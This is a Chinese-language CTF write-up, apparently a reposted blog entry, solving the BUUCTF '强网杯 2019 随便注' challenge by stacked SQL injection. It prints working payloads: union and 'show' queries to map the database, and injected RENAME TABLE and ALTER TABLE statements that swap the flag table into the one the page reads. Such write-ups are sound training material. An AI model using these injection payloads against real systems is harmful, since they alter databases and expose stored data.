zoukankan      html  css  js  c++  java
  • BUUCTF[强网杯 2019]随便注(堆叠注入)

    记一道堆叠注入的题。也是刷BUU的第一道题。

    ?inject=1' 报错
    ?inject=1'--+  //正常
    

    存在注入的。正常查询字段数,字段数为2。在联合查询的时候给了新提示

    ?inject=0' union select 1,2%23
    


    正则匹配过滤掉了经常使用的查询关键字,但是并没有禁用show,那么可以试下堆叠查询。

    ?inject=0'; show databases;%23
    


    暴出了一些数据库。接着查表。

    ?inject=0'; show tables;%23
    


    显示有两张表。试着查看字段

    ?inject=0'; show columns from words;%23
    

    ?inject=0';show columns from `1919810931114514`;%23
    


    不能直接读flag,那么可以猜测我们输入的查询语句都是words这张表的东西,那我们怎么才能让它回显flag所在的表呢?因为没有过滤alert和rename关键字
    1.将words表改名为words1或其它任意名字
    2.1919810931114514改名为words
    3.将flag列改名为id
    原来flag放在1919810931114514表里,我们查询的语句友words这张表来回显,现在将1919810931114514表名改成words那么,我们查询的语句由1919810931114514来回显。

    1';RENAME TABLE `words` TO `words1`;
    # 把 words 改名为 words1
    RENAME TABLE `1919810931114514` TO `words`;
    # 数字表改名为 words
    ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;  //character set 即字符集  COLLATE utf8_general_ci:数据库校对规则
    新的 words 里的 flag 列改为 id (避免一开始无法查询)
    show columns from words;#
    

    接着我们再用1’ or 1=1 #,查询就得到flag

  • 相关阅读:
    洛谷单元最短路标准版——spfa优化
    airline
    有依赖的背包
    挖地雷
    带分数问题
    子集和问题
    循环比赛日程表
    传纸条
    机器分配
    分组背包
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12877822.html
Copyright © 2011-2022 走看看